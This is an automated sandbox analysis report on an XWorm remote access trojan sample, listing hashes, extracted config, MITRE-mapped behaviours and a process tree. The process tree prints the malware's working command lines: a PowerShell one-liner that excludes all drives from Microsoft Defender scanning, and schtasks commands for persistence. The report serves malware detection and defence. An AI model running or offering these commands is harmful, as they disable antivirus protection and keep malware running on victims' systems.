xworm | 26a5472cbdcd17de4151e8ab4812c59e71905184b7639934541c0aaafe6fbf85

Analysis

max time kernel
139s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
11/08/2026, 13:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
after.exe
Size 258KB
Sample260811-q91vaaef83
SHA256 26a5472cbdcd17de4151e8ab4812c59e71905184b7639934541c0aaafe6fbf85
MD5 ffbfb40a04f72a34569503aaebe9b505
SHA1 d80031e00b78ec9b85211bf7e71ffde1b58a6427
SHA512 c9a6ce376665ffadea4410463a471cc2e03650a5ea5cce9851b3c89513001a4a98fb6903b27ea278d98a279a0d3fdbe6cba71cc7a917ace38669dd96e52c2e35
SSDEEP 6144:3lrHSdQAOl7/5bTgVziHzZnSKrCbYMgG2bj8yq:lILO1/5/gVziHlBrCbYH87
TLSH
T182445C57F29100FAD47A81348DA36B12B772F43607219BFF0B9489693F63BA05D29F90
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

Mutex

yNحكـX8ٍبAGLWِF6Jo2DiObلٍLZا3ا

Attributes

Install_directory
%Port%
install_file
MicrosoftEdgeUpdateTaskMachineUAC.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1760-358-0x0000023D6DEF0000-0x0000023D6DEFE000-memory.dmp	family_xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4704	powershell.exe
4588	powershell.exe
5896	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
4668	0g1gebzf.hmb.exe
1280	xgjqhq2b.3cv.exe
796	xgjqhq2b.3cv.exe
3080	xgjqhq2b.3cv.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 3 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
4084	cmd.exe
3400	cmd.exe
2900	cmd.exe

Checks system information in the registry 2 TTPs 6 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	xgjqhq2b.3cv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	xgjqhq2b.3cv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	xgjqhq2b.3cv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	xgjqhq2b.3cv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	xgjqhq2b.3cv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	xgjqhq2b.3cv.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Masonafter.exe	svchost.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\xgjqhq2b.3cv	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4084	cmd.exe
3400	cmd.exe
2900	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 10 Aug 2026 19:32:57 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1786456795"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={783C2401-F9C0-4679-B460-CE4F7B469EBB}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\27\52C64B7E	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269"	OfficeClickToRun.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6096	schtasks.exe
5352	schtasks.exe
2064	SCHTASKS.exe
5576	SCHTASKS.exe
1168	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4704	powershell.exe
4704	powershell.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4704	powershell.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4704	powershell.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4704	powershell.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe
4668	0g1gebzf.hmb.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5360	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1760	after.exe
Token: SeDebugPrivilege	4668	0g1gebzf.hmb.exe
Token: SeShutdownPrivilege	5360	explorer.exe
Token: SeCreatePagefilePrivilege	5360	explorer.exe
Token: SeShutdownPrivilege	5360	explorer.exe
Token: SeCreatePagefilePrivilege	5360	explorer.exe
Token: SeShutdownPrivilege	5360	explorer.exe
Token: SeCreatePagefilePrivilege	5360	explorer.exe
Token: SeShutdownPrivilege	5360	explorer.exe
Token: SeCreatePagefilePrivilege	5360	explorer.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeIncreaseQuotaPrivilege	4704	powershell.exe
Token: SeSecurityPrivilege	4704	powershell.exe
Token: SeTakeOwnershipPrivilege	4704	powershell.exe
Token: SeLoadDriverPrivilege	4704	powershell.exe
Token: SeSystemProfilePrivilege	4704	powershell.exe
Token: SeSystemtimePrivilege	4704	powershell.exe
Token: SeProfSingleProcessPrivilege	4704	powershell.exe
Token: SeIncBasePriorityPrivilege	4704	powershell.exe
Token: SeCreatePagefilePrivilege	4704	powershell.exe
Token: SeBackupPrivilege	4704	powershell.exe
Token: SeRestorePrivilege	4704	powershell.exe
Token: SeShutdownPrivilege	4704	powershell.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeSystemEnvironmentPrivilege	4704	powershell.exe
Token: SeRemoteShutdownPrivilege	4704	powershell.exe
Token: SeUndockPrivilege	4704	powershell.exe
Token: SeManageVolumePrivilege	4704	powershell.exe
Token: 33	4704	powershell.exe
Token: 34	4704	powershell.exe
Token: 35	4704	powershell.exe
Token: 36	4704	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	3704	svchost.exe
Token: SeIncreaseQuotaPrivilege	3704	svchost.exe
Token: SeSecurityPrivilege	3704	svchost.exe
Token: SeTakeOwnershipPrivilege	3704	svchost.exe
Token: SeLoadDriverPrivilege	3704	svchost.exe
Token: SeSystemtimePrivilege	3704	svchost.exe
Token: SeBackupPrivilege	3704	svchost.exe
Token: SeRestorePrivilege	3704	svchost.exe
Token: SeShutdownPrivilege	3704	svchost.exe
Token: SeSystemEnvironmentPrivilege	3704	svchost.exe
Token: SeUndockPrivilege	3704	svchost.exe
Token: SeManageVolumePrivilege	3704	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3704	svchost.exe
Token: SeIncreaseQuotaPrivilege	3704	svchost.exe
Token: SeSecurityPrivilege	3704	svchost.exe
Token: SeTakeOwnershipPrivilege	3704	svchost.exe
Token: SeLoadDriverPrivilege	3704	svchost.exe
Token: SeSystemtimePrivilege	3704	svchost.exe
Token: SeBackupPrivilege	3704	svchost.exe
Token: SeRestorePrivilege	3704	svchost.exe
Token: SeShutdownPrivilege	3704	svchost.exe
Token: SeSystemEnvironmentPrivilege	3704	svchost.exe
Token: SeUndockPrivilege	3704	svchost.exe
Token: SeManageVolumePrivilege	3704	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3704	svchost.exe
Token: SeIncreaseQuotaPrivilege	3704	svchost.exe
Token: SeSecurityPrivilege	3704	svchost.exe
Token: SeTakeOwnershipPrivilege	3704	svchost.exe
Token: SeLoadDriverPrivilege	3704	svchost.exe
Token: SeSystemtimePrivilege	3704	svchost.exe
Token: SeBackupPrivilege	3704	svchost.exe
Token: SeRestorePrivilege	3704	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3060	Conhost.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
4376	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1760 wrote to memory of 4668	1760	after.exe	89
PID 1760 wrote to memory of 2064	1760	after.exe	90
PID 4668 wrote to memory of 744	4668	0g1gebzf.hmb.exe	5
PID 4668 wrote to memory of 996	4668	0g1gebzf.hmb.exe	9
PID 4668 wrote to memory of 1004	4668	0g1gebzf.hmb.exe	10
PID 4668 wrote to memory of 1012	4668	0g1gebzf.hmb.exe	11
PID 4668 wrote to memory of 1036	4668	0g1gebzf.hmb.exe	13
PID 4668 wrote to memory of 1124	4668	0g1gebzf.hmb.exe	14
PID 4668 wrote to memory of 1180	4668	0g1gebzf.hmb.exe	15
PID 4668 wrote to memory of 1236	4668	0g1gebzf.hmb.exe	16
PID 4668 wrote to memory of 1316	4668	0g1gebzf.hmb.exe	17
PID 4668 wrote to memory of 1324	4668	0g1gebzf.hmb.exe	18
PID 4668 wrote to memory of 1360	4668	0g1gebzf.hmb.exe	19
PID 4668 wrote to memory of 1528	4668	0g1gebzf.hmb.exe	22
PID 4668 wrote to memory of 1564	4668	0g1gebzf.hmb.exe	23
PID 4668 wrote to memory of 1624	4668	0g1gebzf.hmb.exe	24
PID 4668 wrote to memory of 1664	4668	0g1gebzf.hmb.exe	25
PID 4668 wrote to memory of 1788	4668	0g1gebzf.hmb.exe	26
PID 4668 wrote to memory of 1828	4668	0g1gebzf.hmb.exe	27
PID 4668 wrote to memory of 1952	4668	0g1gebzf.hmb.exe	28
PID 4668 wrote to memory of 1308	4668	0g1gebzf.hmb.exe	29
PID 4668 wrote to memory of 1400	4668	0g1gebzf.hmb.exe	30
PID 4668 wrote to memory of 1580	4668	0g1gebzf.hmb.exe	31
PID 4668 wrote to memory of 2144	4668	0g1gebzf.hmb.exe	32
PID 4668 wrote to memory of 2184	4668	0g1gebzf.hmb.exe	33
PID 4668 wrote to memory of 2292	4668	0g1gebzf.hmb.exe	34
PID 4668 wrote to memory of 2356	4668	0g1gebzf.hmb.exe	35
PID 4668 wrote to memory of 2412	4668	0g1gebzf.hmb.exe	36
PID 4668 wrote to memory of 2464	4668	0g1gebzf.hmb.exe	37
PID 4668 wrote to memory of 2596	4668	0g1gebzf.hmb.exe	38
PID 4668 wrote to memory of 2612	4668	0g1gebzf.hmb.exe	39
PID 4668 wrote to memory of 2672	4668	0g1gebzf.hmb.exe	40
PID 4668 wrote to memory of 2788	4668	0g1gebzf.hmb.exe	41
PID 4668 wrote to memory of 2884	4668	0g1gebzf.hmb.exe	42
PID 4668 wrote to memory of 2980	4668	0g1gebzf.hmb.exe	43
PID 4668 wrote to memory of 2476	4668	0g1gebzf.hmb.exe	44
PID 4668 wrote to memory of 3120	4668	0g1gebzf.hmb.exe	46
PID 4668 wrote to memory of 3152	4668	0g1gebzf.hmb.exe	47
PID 4668 wrote to memory of 3224	4668	0g1gebzf.hmb.exe	48
PID 4668 wrote to memory of 3480	4668	0g1gebzf.hmb.exe	50
PID 4668 wrote to memory of 3628	4668	0g1gebzf.hmb.exe	51
PID 4668 wrote to memory of 3636	4668	0g1gebzf.hmb.exe	52
PID 4668 wrote to memory of 3676	4668	0g1gebzf.hmb.exe	53
PID 4668 wrote to memory of 3688	4668	0g1gebzf.hmb.exe	54
PID 4668 wrote to memory of 3704	4668	0g1gebzf.hmb.exe	55
PID 4668 wrote to memory of 3728	4668	0g1gebzf.hmb.exe	56
PID 4668 wrote to memory of 3320	4668	0g1gebzf.hmb.exe	57
PID 4668 wrote to memory of 1148	4668	0g1gebzf.hmb.exe	58
PID 4668 wrote to memory of 4376	4668	0g1gebzf.hmb.exe	59
PID 4668 wrote to memory of 4424	4668	0g1gebzf.hmb.exe	60
PID 4668 wrote to memory of 4484	4668	0g1gebzf.hmb.exe	61
PID 4668 wrote to memory of 4608	4668	0g1gebzf.hmb.exe	62
PID 4668 wrote to memory of 4752	4668	0g1gebzf.hmb.exe	63
PID 4668 wrote to memory of 5048	4668	0g1gebzf.hmb.exe	64
PID 4668 wrote to memory of 5176	4668	0g1gebzf.hmb.exe	65
PID 4668 wrote to memory of 5236	4668	0g1gebzf.hmb.exe	66
PID 4668 wrote to memory of 5276	4668	0g1gebzf.hmb.exe	67
PID 4668 wrote to memory of 5688	4668	0g1gebzf.hmb.exe	70
PID 4668 wrote to memory of 2608	4668	0g1gebzf.hmb.exe	73
PID 4668 wrote to memory of 2700	4668	0g1gebzf.hmb.exe	74
PID 4668 wrote to memory of 4736	4668	0g1gebzf.hmb.exe	75
PID 4668 wrote to memory of 4996	4668	0g1gebzf.hmb.exe	78
PID 4668 wrote to memory of 5080	4668	0g1gebzf.hmb.exe	79
PID 4668 wrote to memory of 2712	4668	0g1gebzf.hmb.exe	80

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:744
- C:\Windows\system32\fontdrvhost.exe
  "fontdrvhost.exe"
  2⤵
  PID:1004
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1180

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:996

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f7b5aa15-d408-4bd5-a45f-af70becd278d -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-aa8653ae-ccd6-4125-8c83-5749e46d7545 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f406c462-77bb-4d2c-a7c4-8cbb325fba02 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b9ad1680-f813-4e9b-b36f-0116205bb9ad -LifetimeId:b9aa8eea-9d85-4be3-a31d-12dae8c168a2 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Drops file in System32 directory
PID:1124

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1236

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1624
- C:\Users\Admin\AppData\Roaming\xgjqhq2b.3cv.exe
  "C:\Users\Admin\AppData\Roaming\xgjqhq2b.3cv.exe"
  2⤵
  - Executes dropped EXE
  - Checks system information in the registry
  PID:3080
- - C:\Windows\system32\cmd.exe
    cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Ignore Process Interrupts
    PID:2900
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2928
  - - C:\Windows\System32\chcp.com
      chcp 65001
      4⤵
      PID:5440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5896
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /create /f /sc minute /mo 1 /tn "xgjqhq2b.3cv" /tr "C:\Users\Admin\AppData\Roaming\xgjqhq2b.3cv.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5352
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc
1⤵
PID:1788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1828

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1308

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1580
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2712
- - C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    3⤵
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:5360
  - - C:\Users\Admin\AppData\Local\Temp\after.exe
      "C:\Users\Admin\AppData\Local\Temp\after.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1760
    - - C:\Users\Admin\AppData\Local\Temp\0g1gebzf.hmb.exe
        
        "C:\Users\Admin\AppData\Local\Temp\0g1gebzf.hmb.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4668
    - - C:\Windows\SYSTEM32\SCHTASKS.exe
        
        "SCHTASKS.exe" /create /tn "Masonafter.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\after.exe'" /sc onlogon /rl HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2064
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4056
    - - C:\Windows\SYSTEM32\SCHTASKS.exe
        
        "SCHTASKS.exe" /create /tn "Masonafter.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\after.exe'" /sc onlogon /rl HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5576
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4456
    - - C:\Users\Admin\AppData\Local\Temp\xgjqhq2b.3cv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xgjqhq2b.3cv.exe"
        5⤵
        Executes dropped EXE
        Checks system information in the registry
        
        PID:1280
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        6⤵
        Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        Hide Artifacts: Ignore Process Interrupts
        
        PID:4084
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:2728
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:4224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4704
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks.exe /create /f /sc minute /mo 1 /tn "xgjqhq2b.3cv" /tr "C:\Users\Admin\AppData\Roaming\xgjqhq2b.3cv.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1168

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:2184

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:2292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2356

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2412

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService
1⤵
PID:2464
- C:\Windows\system32\ctfmon.exe
  /QuitInfo:0000000000000268;000000000000026C;
  2⤵
  PID:5048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc
1⤵
PID:2612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2672

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc
1⤵
PID:2884

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2980

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:3120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc
1⤵
PID:3224

C:\Windows\System32\ShellHost.exe
"C:\Windows\System32\ShellHost.exe"
1⤵
PID:3480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:3628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
